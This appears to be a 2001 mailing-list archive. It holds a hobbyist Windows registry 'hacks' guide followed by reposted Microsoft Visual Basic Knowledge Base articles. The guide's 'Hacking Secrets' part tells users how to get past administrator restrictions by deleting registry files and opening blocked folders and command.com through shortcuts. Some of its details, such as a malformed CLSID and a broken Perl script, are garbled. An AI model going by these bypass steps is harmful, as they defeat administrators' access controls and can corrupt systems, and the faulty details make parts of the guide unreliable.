Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D}

Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E}

The Microsoft Network:{00028B00-0000-0000-C000-000000000046}

History: {FF393560-C2A7-11CF-BFF4-444553540000}

Winzip :{E0D79300-84BE-11CE-9641-444553540000}

For example, to delete the Recycle Bin, first note down it's CLSID value,
which is: 645FF040-5081-101B-9F08-00AA002F954E. Now go to the Namespace key
in the registry and delete the corresponding key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Deskto
p\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}

Similarly to delete the History folder, delete the following key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Deskto
p\NameSpace\{FBF23B42-E3F0-101B-8488-00AA003E56F8}

Sometimes, you may need to play a trick on your brother or friend, well this
one teaches you how to hide all icons from the Desktop. Go to the following
registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

In the right pane create a new DWORD value by the name: NoDesktop and set
its value to: 1. Reboot and you will find no icons on the desktop.

Till now you simply learnt how to delete the special system folders by
deleting a registry key, but the hack would have been better if there was a
way of adding the DELETE and RENAME option to the right click context menus
of these special folders. You can actually change the right click context
menu of any system folder and add any of the following options: RENAME,
DELETE, CUT, COPY, PASTE and lots more.

This hack too requires you to know the CLSID value of the system folder
whose menu you want to customize. In this section, I have taken up Recycle
Bin as the folder whose context menu I am going to edit.

Firstly launch the registry editor and open the following registry key:

HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder.

In Case you want to edit some other folder like say the FONTS folder, then
you will open the following key:

HKEY_CLASSES_ROOT\CLSID\{CLSID VALUE HERE}\ShellFolder.

In the right pane there will be a DWORD value names attributes. Now consider
the following options:

To add the Rename option to the menu, change the value of Attributes to
50 01 00 20

To add the Delete option to the menu, change the value of Attributes to
60 01 00 20

3. To add both the Rename & Delete options to the menu, change the value of
Attributes to 70,01,00,20

4. Add Copy to the menu, change Attributes to 41 01 00 20

5. Add Cut to the menu, change Attributes to 42 01 00 20

6. Add Copy & Cut to the menu, change Attributes to 43 01 00 20

7. Add Paste to the menu, change Attributes to 44 01 00 20

8. Add Copy & Paste to the menu, change Attributes to 45 01 00 20

9. Add Cut & Paste to the menu, change Attributes to 46 01 00 20

10.Add all Cut, Copy & Paste to the menu, change Attributes to 47 01 00 20

We want to add only the Rename option to the right click context menu of the
Recycle Bin, so change the value of attributes to: 50 01 00 20. Press F5 to
refresh and then after rebooting you will find that when you right click on
the Recycle Bin a RENAME option pops up too.

To reset the default Windows options change the value of Attributes back to

40 01 00 20

The Registry File which one can create for the above process would be
something like the below:

REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell-Folder
]

"Attributes"=hex:50,01,00,20

To access say the Modem Properties in the Control Panel Folder, the normal
procedure is: Click on Start, Click on Settings> Control Panel and then wait
for the Control Panel window to pop up and then ultimately click on the
Modems icon.

Wouldn't it be lovely if you could shorten the process to: Click on Start>
Control Panel>Modems. Yes you can add the Control Panel and also all other
Special System Folders directly to the first level Start Menu. Firstly
collect the CLSID value of the folder you want to add to the start menu. I
want to add Control Panel hence the CLSID value is:
21EC2020-3AEA-1069-A2DD-08002B30309D

Now right click on the Start Button and select Open. Now create a new folder
and name it: Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}

NOTE: Do not forget the period after the 'l' in Panel. Similarly all system
folders can be added to the Start Menu.(accept My Briefcase, I think)

Deleting System Options from the Start menu

You can actually remove the Find and Run options from the start menu by
performing a simple registry hack. Again like always Launch the registry
editor and scroll down to the below key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

Right-click on the right pane and select New, DWORD Value. Name it
NoFind.(To remove the RUN option name it NoRun). Double-click the newly
create DWORD to edit it's value and enter 1 as its value. This will disable
the FIND option of the Start Menu and will also disable the default Shortcut
key(F3 for Find.)

To restore the Run or find command modify the value of the DWORD to 0 or
simply Delete the DWORD value.

Fed Up of the boring Old Yellow Folder Icons?[Drive Icons Included]

NOTE: This trick hasn't been tried on Win98.

You can easily change the boring yellow folder icons to your own
personalized icons. Simply create a text file and copy the following lines
into it:

[.ShellClassInfo]

ICONFILE=Drive:\Path\Icon_name.extension

Save this text file by the name, desktop.ini in the folder, whose icon you
want to change. Now to prevent this file from getting deleted change it's
attributes to Hidden and Read Only by using the ATTRIB command.

To change the icon of a drive, create a text file containing the following
lines:

[Autorun]

ICON=Drive:\Path\Icon_name.extension

Save this file in the root of the drive whose icon you want to change and
name it autorun.inf For Example, if you want to change the icon of a floppy,
SAVE THE icon in a:\icon_name.ico One can also create a kewl icon for the
Hard Disk and create a text file [autorun.inf] and store it in "c:\".

  Securing NT

By default, NT 4.0 displays the last person who logged onto the system. This
can be considered to be a security threat, especially in the case of those
who choose their password to be same as their Username. To disable this bug
which actually is a feature, go to the following key in the registry editor:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon

Click and select the ReportBookOK item and create a new string value called
DontDisplayLastUserName. Modify it and set it's value to 1.

As a system administrator, you can ensure that the passwords chosen by the
users are not too lame or too easy to guess. NT has this lovely utility
called the User Manager which allows the administrator to set the age limit
of the password which forces the users to change the password after a
certain number of days. You can also set the minimum length of passwords and
prevent users to use passwords which already have been used earlier and also
enable account lockouts which will deactivate an account after a specified
number of failed login attempts.

When you log on to Win NT, you should disable Password Caching, this ensures
Single NT Domain login and also prevents secondary Windows Logon screen.

Simply copy the following lines to a plain text ASCII editor like: Notepad
and save it with an extension, .reg

----------------DISABLE.reg-----------------

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Netwo
rk]

"DisablePwdCaching"=dword:00000001

----------------DISABLE.reg-----------------

To Enable Password Caching use the following .reg file:

--------------Enable.reg-----------------

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Netwo
rk]

"DisablePwdCaching"=dword:00000000

--------------Enable.reg-----------------



Cleaning Recent Docs Menu and the RUN MRU

The Recent Docs menu can be easily disabled by editing the Registry. To do
this go to the following Key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

Now in the right pane, create a new DWORD value by the name:
NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the
changes.

You can also clear the RUN MRU history. All the listings are stored in the
key:

HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMR
U

You can delete individual listings or the entire listing. To delete History
of Find listings go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc
Find Spec MRU

and delete.

Customizing the Right Click Context Menu of the Start Menu

When you right click on the start menu, only 3 options pop up: Open,
Explore, and Find. You can add your own programs to this pop up menu( which
comes up when we right click on it.) Open Regedit and go to the following
registry key:

HKEY_CLASSES_ROOT\Directory\Shell

Right click on the shell and create a new Sub Key (You can create a new
SubKey by right clicking on the Shell Key and selecting New > Key.). Type in
the name of the application you want to add to the start menu. I want to add
Notepad to the Start Menu and hence I name this new sub key, Notepad. Now
right click on the new registry key that you just created and create yet
another new key named Command. Enter the full path of the application, in
this case Notepad in the default value of Command in the right

pane. So I Modify the value of the default string value and enter the full
pathname of Notepad:

c:\wndows\notepad.exe.

Now press F5 to refresh. Now if you right click on the Start Button you will
find a new addition to the Pop Up Menu called Notepad. Clicking on it will
launch Notepad.

We can not only add but also remove the existing options in this pop up box.

To delete the Find option, go to the following registry key:

HKEY_CLASSES_ROOT\Directory\Shell\Find

Delete Find. DO NOT delete Open else you will not be able to open any
folders in the Start Menu like Programs, Accessories etc.

BMP Thumbnail As Icon

You can actually change the default BMP icon to a thumbnail version of the
actual BMP file. To do this simply go to HKCU\Paint.Picture\Default. In the
right pane change the value of default to %1. Please note however that this
will slow down the display rate in explorer if there are too many BMP
thumbnails to display. You can use other icons too, simply enter the
pathname.To restore back to the normal change the vale of default back to:
C:\Progra~1\Access~1\MSPAINT.EXE,1.

Customizing The Shortcut Arrow

All shortcuts have a tiny black arrow attached to it's icon to distinguish
from normal files. This arrow can sometimes be pretty annoying and as a
Hacker should know how to change each and everything, here goes another
trick. Launch the Registry Editor and go to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Shell
Icons.

Now, on the right pane is a list of icons ( we found out that on some
systems, Windows 98 especially, the right pane is blank. Don't worry, just
add the value as required ). Find the value 29. If it isn't there, just add
it. The value of this string should be C:\Windows\system\shell32.dll, 29
  which means the 30th icon in shell32.dll - the first one begins with 0 ).
Now, we need blank icon to do this. Just create one with white as the whole
icon. Go here to learn how to create an icon. Once done just change the
value to C:\xxx.ico, 0 where "xxx" is the full path of the icon file and "0"
is the icon in it.

Now for some fun. If the blank icon is a bit boring, change it again. You
will find that under shell32.dll there is a gear icon, a shared folder ( the
hand ) and much more. Experiment for yourself!

Use Perl to Get List or Services Running on your NT box

Use the following Perl Script to get a list of Services running on your NT
system

--------------script.pl-----------------

#!c:\per\bin\perl.exe

use Win32::Service;

my ($key, %service, %status, $part);

Win32::Service::GetServices(' ',\%services);

foreach $key (sort keys %services) {

print "Print Name\t: $key, $services{$key}\n";

Win32::Service::GetStatus( ' ',$services{$key};

\%status);

foreach $part (keys %status) {

print "\t$part : $status{$part}\n" if($part eq "CurrentState");

}

}

-------------script.pl-------------------

Internet Explorer Tricks and Tips

Resizable Full Screen Toolbar

The Full Screen option increases the viewable area and makes surfing more
enjoyable but sometimes we need the Toolbar but also need to have extra
viewing area. Now this hack teaches you how to change the size of the
Internet Explorer toolbar. This registry hack is a bit complicated as it
involves Binary values, so to make it simple, I have included the following
registry file which will enable the resizable option of the Internet
Explorer toolbar which was present in the beta version of IE.

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]

"Theater"=hex:0c,00,00,00,4c,00,00,00,74,00,00,00,18,00,00,00,1b,00,00,00,5c
,\

00,00,00,01,00,00,00,e0,00,00,00,a0,0f,00,00,05,00,00,00,22,00,00,00,26,00,\

00,00,02,00,00,00,21,00,00,00,a0,0f,00,00,04,00,00,00,01,00,00,00,a0,0f,00,\

00,03,00,00,00,08,00,00,00,00,00,00,00

*******************

HACKING TRUTH: Internet Explorer 5 displays the friendly version of HTTP
errors like NOT FOUND etc . They are aimed at making things easier for
newbies. If you would rather prefer to see the proper error pages for the
web server you're using, go to Tools, Internet Options and select the
Advanced tab. Then scroll down and uncheck the Show friendly http errors
box.

*******************

Making the Internet Explorer & the Explorer Toolbars Fancy

The Internet Explorer toolbar looks pretty simple. Want to make it fancy and
kewl? Why not add a background image to it. To do this kewl hack launch the
Windows Registry Editor and go to the following key:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\ Internet Explorer\Toolbar\.

Now in the right pane create a new String Value and name it BackBitmap and
modify it's value to the path of the Bitmap you want to dress it up with by
rightclicking on it and choosing Modify. When you reboot the Internet
Explorer and the Windows Explorer toolbars will have a new look.

Change Internet Explorer's Caption

Don't like the caption of Internet Explorer caption? Want to change it? Open
the registry editor and go to

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main.

In the right pane create a new String Value names Window Title (Note the
space between Window and Title). Right click on this newly created String
Value and select Modify. Type in the new caption you want to be displayed.
Restart for the settings to take place.

Now let's move on to some Outlook Express Tricks.

Colorful Background

Don't like the boring background colors of Outlook Express? To change it
launch the Windows Registry Editor and scroll down to the

HKEY_CURRENT_USER\Software\Microsoft\Internet Mail And News key.

On the left pane, click on ColorCycle or select Edit and Modify in the menu.
Now change the value to 1. Close and restart. Now, launch Outlook Express
and whenever you open up a New Message, hold down ctrl-shift and tap the z
key to scroll to change the background color. Repeat the keystroke to cycle
through the colors.

Internet Explorer 5 Hidden Features


Microsoft Internet Explorer 5 has several hidden features which can be
controlled using the Windows Registry. Open your registry and scroll down to
the following key:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions

Create a new DWORD value named x(See complete list of values of x below) and
modify it's value to 1 to enable it and to 0 to disable it.

NoBrowserClose : Disable the option of closing Internet Explorer.

NoBrowserContextMenu : Disable right-click context menu.

NoBrowserOptions : Disable the Tools / Internet Options menu.

NoBrowserSaveAs : Disable the ability to Save As.

NoFavorites : Disable the Favorites.

NoFileNew : Disable the File / New command.

NoFileOpen : Disable the File / Open command.

NoFindFiles : Disable the Find Files command.

NoSelectDownloadDir : Disable the option of selecting a download directory.

NoTheaterMode : Disable the Full Screen view option.

Hacking Secrets

Almost all system administrators make certain changes and make the system
restricted. System Administrators can hide the RUN option, the FIND command,
the entire Control Panel, drives in My Computer like D: A: etc. They can
even restrict activities of a hacker my disabling or hiding, even the
tiniest options or tools.

Most commonly these restrictions are imposed locally and are controlled by
the Windows Registry. But sometimes the smart system administrators control
the activities of the hacker by imposing restrictions remotely through the
main server.

Poledit or Policy Editor is a small kewl tool which is being commonly used
by system administrators to alter the settings of a system. This utility is
not installed by default by Windows. You need to install in manually from
the Windows 98 Installation Kit from the Resource Kit folder. user.dat file
that we saw earlier.

The Policy Editor tool imposes restrictions on the user's system by editing
the user.dat file which in turn means that it edits the Windows Registry to
change the settings. It can be used to control or restrict access to each
and every folder and option you could ever think of. It has the power to
even restrict access to individual folders, files, the Control Panel, MS
DOS, the drives available etc. Sometimes this software does make life really
hard for a Hacker. So how can we remove the restrictions imposed by the
Policy Editor? Well read ahead to learn more.

You see the Policy Editor is not the only way to restrict a user's
activities. As we already know that the Policy Editor edits the Windows
Registry(user.dat) file to impose such restrictions. So this in turn would
mean that we can directly make changes to the Windows Registry using a .reg
file or directly to remove or add restrictions.

Launch Regedit and go to the following Registry Key:

HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies

Under this key, there will definitely be a key named explorer. Now under
this explorer key we can create new DWORD values and modify it's value to 1
in order to impose the restriction. If you want to remove the Restriction,
then you can simply delete the respective DWORD values or instead change
their values to 0. The following is a list of DWORD values that can be
created under the Explorer Key-:

NoDeletePrinter: Disables Deletion of already installed Printers

NoAddPrinter: Disables Addition of new Printers

NoRun : Disables or hides the Run Command

NoSetFolders: Removes Folders from the Settings option on Start Menu
(Control Panel, Printers, Taskbar)

NoSetTaskbar: Removes Taskbar system folder from the Settings option on
Start Menu

NoFind: Removes the Find Tool (Start >Find)

NoDrives: Hides and does not display any Drives in My Computer

NoNetHood: Hides or removes the Network Neighborhood icon from the desktop

NoDesktop: Hides all items including, file, folders and system folders from
the Desktop

NoClose: Disables Shutdown and prevents the user from normally shutting down
Windows.

NoSaveSettings: Means to say, 'Don't save settings on exit'

DisableRegistryTools: Disable Registry Editing Tools (If you disable this
option, the Windows Registry Editor(regedit.exe) too

will not work.)

NoRecentDocsHistory: Removes Recent Document system folder from the Start
Menu (IE 4 and above)

ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.

Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop

Under the same key:
HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies you can create
new subkeys other than the already existing Explorer key. Now create a new
key and name it System. Under this new key, system we can create the
following new DWORD values(1 for enabling the particular option and 0 for
disabling the particular option):

NODispCPL: Hides Control Panel

NoDispBackgroundPage: Hides Background page.

NoDispScrsavPage: Hides Screen Saver Page

NoDispAppearancePage: Hides Appearance Page

NoDispSettingsPage: Hides Settings Page

NoSecCPL: Disables Password Control Panel

NoPwdPage: Hides Password Change Page

NoAdminPaqe: Hides Remote Administration Page

NoProfilePage: Hides User Profiles Page

NoDevMgrPage: Hides Device Manager Page

NoConfigPage: Hides Hardware Profiles Page

NoFileSysPage: Hides File System Button

NoVirtMemPage: Hides Virtual Memory Button

Similarly, if we create a new subkey named Network, we can add the following
DWORD values under it(1 for enabling the particular option and 0 for
disabling the particular option):

NoNetSetupSecurityPage: Hides Network Security Page

NoNelSetup: Hides or disables the Network option in the Control Panel

NoNetSetupIDPage: Hides the Identification Page

NoNetSetupSecurityPage: Hides the Access Control Page

NoFileSharingControl: Disables File Sharing Controls

NoPrintSharing: Disables Print Sharing Controls

Similarly, if we create a new subkey named WinOldApp, we can add the
following DWORD values under it(1 for enabling the particular option and 0
for disabling the particular option):

Disabled: Disable MS-DOS Prompt

NoRealMode: Disable Single-Mode MS-DOS.

So you see if you have access to the Windows Registry, then you can easily
create new DWORD values and set heir value to 1 for enabling the particular
option and 0 for disabling the particular option. But Sometimes, access to
the Windows Registry is blocked. So what do you do? Go to the Windows
Directory and delete either user.dat or system.dat (These 2 files constitute
the Windows Registry.) and reboot. As soon as Windows logs in, it will
display a Warning Message informing you about an error in the Windows
Registry. Simply ignore this Warning Message and Press CTRL+DEL+ALT to get
out of this warning message.(Do not press OK) You will find that all
restrictions have been removed.

The most kind of restriction found quite commonly is the Specific Folder
Restriction, in which users are not allowed access to specific folders, the
most common being the Windows folder, or sometimes even access to My
Computer is blocked. In effect, you simply cannot seem to access the
important kewl files which are needed by you to do remove restrictions. What
do you? Well use the RUN command. (START >RUN). But unfortunately a system
administrator who is intelligent enough to block access to specific folder,
would definitely have blocked access to the RUN command. Again we are stuck.

Windows is supposed to be the most User Friendly Operating System on earth.
(At least Microsoft Says so.)

It gives the User an option to do the same thing in various ways. You see
the RUN command is only the most convenient option of launching
applications, but not the only way. In Windows you can create shortcuts to
almost anything from a file, folder to a Web URL. So say your system
administrator has blocked access to the c:\windows\system folder and you
need to access it. What do you do? Simply create a Shortcut to it. To do
this right click anywhere on the desktop and select New > Shortcut. A new
window titled Create Shortcut pops up. Type in the path of the restricted
folder you wish to access, in this case c:\windows\system. Click Next, Enter
the friendly name of the Shortcut and then click Finish. Now you can access
the restricted folder by simply double clicking on the shortcut icon. Well
that shows how protected and secure *ahem Windows *ahem is.

****************

HACKING TRUTH: Sometimes when you try to delete a file or a folder, Windows
displays an error message saying that the file is protected. This simply
means that the file is write protected, or in other words the R option is +.
Get it? Anyway, you can stop Windows from displaying this error message and
straightaway delete this file by changing its attributes to Non Read Only.
This can be done by Right Clicking on the file, selecting Properties and
then

unselecting the Read Only Option.

***************

There is yet another way of accessing restricted folders. Use see, DOS has a
lovely command known as START. Its general syntax is:

START application_path

It does do what it seems to do, start applications. So in you have access to
DOS then you can type in the START command to get access to the restricted
folder. Now mostly access to DOS too would be blocked. So again you can use
the shortcut trick to launch, c:\command.com or c:\windows\command.com.
(Command.com is the file which launches MS DOS).

Accessing Restricted Drives.

The problem with most system administrators is that they think that the
users or Hackers too are stupid. Almost all system administrators use the
Registry Trick (Explained Earlier) to hide all drives in My Computer. So in
order to unhide or display all drives, simply delete that particular
key.(Refer to beginning of Untold Secrets Section.)

Some systems have the floppy disk disabled through the BIOS. On those
systems if the BIOS is protected, you may need to crack the BIOS password.
(For that Refer to the Windows Hacking Chapter). Sometimes making drives
readable (Removing R +) and then creating Shortcuts to them also helps us to
get access to them.

Further Changing your Operating System's Looks by editing .htt files

If you have installed Windows Desktop Update and have the view as Web Page
option enabled, you can customise the way the folder looks by selecting View
> Customise this folder. Here you can change the background and other things
about that particular folder. Well that is pretty lame, right? We hackers
already know things as lame as that. Read on for some kewl stuff.

Well, you could also change the default that is stored in a Hidden HTML
Template file (I think so..) which is nothing but a HTML document with a
.htt extension. This .htt file is found at: %systemroot%\web\folder.htt.

The %systemroot% stands for the drive in which Windows is Installed, which
is normally C:

You can edit these .htt files almost just like you edit normal .HTM or .HTML
files. Simply open them in an ASCII editor like Notepad. The following is a
list of .htt files on your system which control various folders and which
can be edited to customise the way various folders look.

controlp.htt Control Panel

printers.htt Printers

mycomp.htt My Computer

safemode.htt Safe Mode

All these files are found in the web folder in %systemfolder%. The
folder.htt file has a line:

'Here's a good place to add a few lines of your own"

which is the place where you can add your own A HREF links. These links
would then appear in the folder whose folder.htt file you edited. All this
might sound really easy and simple, but you see these .htt files do not
contain normal HTML code, instead they contain a mixture of HTML and web
bots. Hence they can be difficult for newbies to understand.

Well that's it for now, more tricks later, till then goodbye.

Ankit Fadia

ankit@...

Get the Archive of Manuals [EVERYTHING YOU DREAMT OFF] written by Ankit
Fadia

At his mailing list.

To get the manuals in your Inbox join his mailing list by sending an email
to:

programmingforhackers-subscribe@egroups.com

#37 From: "FDB & HRB" <ferialb@...>
Date: Mon Jun 18, 2001 4:35 pm
Subject: HOWTO: Determine the Size of the Desktop Area
ferialb@...
Send Email Send Email
 
DOCUMENT:Q154823  14-JUL-1997  [vbwin]
TITLE   :HOWTO: Determine the Size of the Desktop Area
PRODUCT :Microsoft Visual Basic for Windows
PROD/VER:4.0
OPER/SYS:NT WINDOWS
KEYWORDS:APrgOther vb432 vb4win kbhowto

======================================================================
------------------------------------------------------------------------
The information in this article applies to:

  - Standard, Professional, and Enterprise Editions of Microsoft
    Visual Basic, 32-bit only, for Windows, version 4.0
------------------------------------------------------------------------

SUMMARY
=======

It is often useful to determine the size and position of the display area
taking the system tray into account. There are at least two methods to
obtain this information: One requires the use of an OCX, while another
makes a call to the Win32 API. This article demonstrates the step-by-step
approaches to both of these methods.

MORE INFORMATION
================

Method 1
--------

NOTE: The SYSINFO.OCX control is in the \VB4\TOOLS\SYSINFO folder of the
Visual Basic CD-ROM. It does not ship with the diskette version, and it is
not automatically installed by Visual Basic Setup. Copy SYSINFO.OCX to the
\WINDOWS\SYSTEM folder, and register it with REGOCX32.EXE.

Use the SYSINFO.OCX control in your project. It has a number of useful
properties, four of which disclose the size and position of the desktop
area in twips. Follow the steps below:

1. Start Visual Basic. Form1 is created by default.

2. Add a Command button to Form1.

3. From the Tools menu, choose Custom Controls and check the "Microsoft
    System Info" component. If the component is not listed, click the
    browse button and locate SYSINFO.OCX.

4. Add a SysInfo control to Form1.

5. Add the following code to the Command1_Click event:

    Private Sub Command1_Click()

      With SysInfo1
        Print "WorkAreaLeft: " & .WorkAreaLeft / Screen.TwipsPerPixelX
        Print "WorkAreaTop: " & .WorkAreaTop / Screen.TwipsPerPixelY
        Print "WorkAreaWidth: " & .WorkAreaWidth / Screen.TwipsPerPixelX
        Print "WorkAreaHeight: " & .WorkAreaHeight / Screen.TwipsPerPixelY
      End With

    End Sub

6. Choose Start from the Run menu, or press the F5 key to run the project.

7. Click the Command button to observe the size of the work area.

Method 2
--------

The SystemParametersInfo function has many uses, including the ability to
determine the size and position of the desktop. Follow the steps below:

1. Start Visual Basic. Form1 is created by default.

2. From the Insert menu, choose Module to add a single code module
    to the project. Module1 is created by default.

3. Add the following code to Module1:

    Type RECT
      Left As Long
      Top As Long
      Right As Long
      Bottom As Long
    End Type

    Public Const SPI_GETWORKAREA = 48

    Declare Function SystemParametersInfo Lib "user32" _
      Alias "SystemParametersInfoA" (ByVal uAction As Long, _
      ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) _
      As Long

4. Add a Command button to Form1.

5. Add the following code to the Command1_Click event:

    Private Sub Command1_Click()

      Dim lRet As Long
      Dim apiRECT As RECT

      lRet = SystemParametersInfo(SPI_GETWORKAREA, vbNull, apiRECT, 0)

      If lRet Then
        Print "WorkAreaLeft: " & apiRECT.Left
        Print "WorkAreaTop: " & apiRECT.Top
        Print "WorkAreaWidth: " & apiRECT.Right - apiRECT.Left
        Print "WorkAreaHeight: " & apiRECT.Bottom - apiRECT.Top
      Else
        Print "Call to SystemParametersInfo failed."
      End If

    End Sub

6. Choose Start from the Run menu, or press the F5 key to run the project.

7. Click the Command button to observe the size of the work area.

REFERENCES
==========

SYSINFO.HLP in the \TOOLS\SYSINFO directory on the Visual Basic 4.0 CD-ROM.

Win32 SDK on the MSDN Visual Basic starter kit. This can be installed by
running SETUP.EXE from the MSDN directory on the Visual Basic 4.0 CD-ROM.

For more information, please see the following articles on the Microsoft
Knowledge Base:

    ARTICLE-ID: Q113702
    TITLE     : How to Control the Placement of Desktop Windows

    ARTICLE-ID: Q97142
    TITLE     : How to Use SystemParametersInfo API for Control Panel
                Settings
======================================================================
Keywords            : APrgOther vb432 vb4win kbhowto
Version             : 4.0
Platform            : NT WINDOWS

============================================================================
=

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.

Copyright Microsoft Corporation 1997.

#36 From: "FDB & HRB" <ferialb@...>
Date: Mon Jun 18, 2001 4:43 pm
Subject: HOWTO: Digitally Sign Your Visual Basic Internet Application
ferialb@...
Send Email Send Email
 
HOWTO: Digitally Sign Your Visual Basic Internet Application

----------------------------------------------------------------------------
----
The information in this article applies to:

Microsoft Visual Basic Control Creation Edition for Windows, versions 5.0,
6.0
Microsoft Visual Basic Learning Edition for Windows, versions 5.0, 6.0
Microsoft Visual Basic Professional Edition for Windows, versions 5.0, 6.0
Microsoft Visual Basic Enterprise Edition for Windows, versions 5.0, 6.0
Microsoft Internet Client SDK, versions 4.0, 4.01

----------------------------------------------------------------------------
----


SUMMARY
With Visual Basic 5.0 and later, you can now develop software easily for
distribution over the Internet. Code received via the Internet lacks
shrink-wrapped packaging to vouch for its reliability and some users may be
skeptical when asked to download your application and components. To
reassure these users that your application and components are safe to
download, you can provide a digital signature to assure your customers that
your software will not harm their systems. This article gives a brief
overview of how to have your Visual Basic Internet application or component
digitally signed.



MORE INFORMATION
Install the latest version of Internet Explorer on your system. Internet
Explorer version 3.0 or later is required. To obtain the latest version of
Internet Explorer please go to the following Web site:

http://www.microsoft.com/ie/download/
Get credentials from a Certificate Authority (CA). A Certificate Authority
is a third party who will give users information about you. The CA provides
and renews your certificate, authenticates your identity, and handles legal
and liability issues for broken security. For instructions on obtaining a
certificate from a CA, visit the following Web site:
http://msdn.microsoft.com/developer/sdk/inetsdk/help/compdev/controls
You can also search the Microsoft home page for information about
"Authenticode." Obtain the latest version of the Internet Client SDK for the
tools needed to sign your code. Consult the code signing documentation
provided in the SDK for additional information on using these tools. The
Internet Client SDK is located at the following web address:
http://msdn.microsoft.com/developer/sdk/inetsdk/asetup/default.htm
Once you have obtained the Internet Client SDK and followed the instructions
for digitally signing your code, your application and/or components will be
digitally signed and ready for Internet distribution.



REFERENCES
For more information regarding digital signing, visit the following Web
site:



http://msdn.microsoft.com/developer/sdk/inetsdk/help/compdev/controls/licens
ing.htm


Also, search the Microsoft home page for information about "Authenticode."

Additional query words:

Keywords : kbCodeSign kbVBp400 kbVBp500 kbVBp600 kbGrpDSVB kbDSupport
kbVBp401 kbieFAQ
Issue type : kbhowto
Technology : kbVBSearch kbAudDeveloper kbPTNotAssigned kbZNotKeyword2
kbVBA500Search kbWord600Mac kbGraph500



Last Reviewed: January 10, 2001
© 2001 Microsoft Corporation. All rights reserved. Terms of Use.

#35 From: "FDB & HRB" <ferialb@...>
Date: Mon Jun 18, 2001 4:35 pm
Subject: How to Start a Visual Basic Screen Saver Using SendMessage API
ferialb@...
Send Email Send Email
 
DOCUMENT:Q141024  06-SEP-1996  [vbwin]
TITLE   :How to Start a Visual Basic Screen Saver Using SendMessage API
PRODUCT :Microsoft Visual Basic for Windows
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbprg kbcode

------------------------------------------------------------------------
The information in this article applies to:

  - Standard, Professional, and Enterprise Editions of Microsoft Visual
    Basic, 16 and 32 bit, for Windows, version 4.0
------------------------------------------------------------------------

SUMMARY
=======

The sample code below shows how to start a Visual Basic screen saver
by sending a Windows message to the Control-menu box on a form.

MORE INFORMATION
================

Microsoft Windows starts screen savers through the System-menu box on
a form. The System-menu box is also known as the Control-menu box in
Visual Basic. You can send Windows messages to the Control-menu box
by using the SendMessage Windows API (application programming
interface) function.

[general declarations]

#If Win32 Then
     Private Declare Function SendMessage Lib "user32" Alias _
"SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _     ByVal wParam
As Long, ByVal lParam As Long) As Long

     Const WM_SYSCOMMAND = &H112&
     Const SC_SCREENSAVE = &HF140&
#Else
     Private Declare Function SendMessage Lib "User" (ByVal _         hWnd
As Integer, ByVal wMsg As Integer, ByVal wParam As _             Integer,
lParam As Any) As Long

     Const WM_SYSCOMMAND = &H112
     Const SC_SCREENSAVE = &HF140&
#End If

Private Sub Command1_Click()
     Dim result As Long
     result = SendMessage(Form1.hWnd, WM_SYSCOMMAND, _
SC_SCREENSAVE, 0&)
End Sub

REFERENCES
==========

You can find two sample programs and a complete explanation showing how to
write your own screen savers in Visual Basic in the following book:

"Visual Basic Workshop 3.0" by John C. Craig, published by Microsoft Press.

Additional reference words: 3.00 4.00 vb4win vb4all .SCR TOPMOST
SETWINDOWPOS SCRNSAVE timer
KBCategory: kbprg kbcode
KBSubcategory: PrgCtrlsStd

============================================================================
=

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
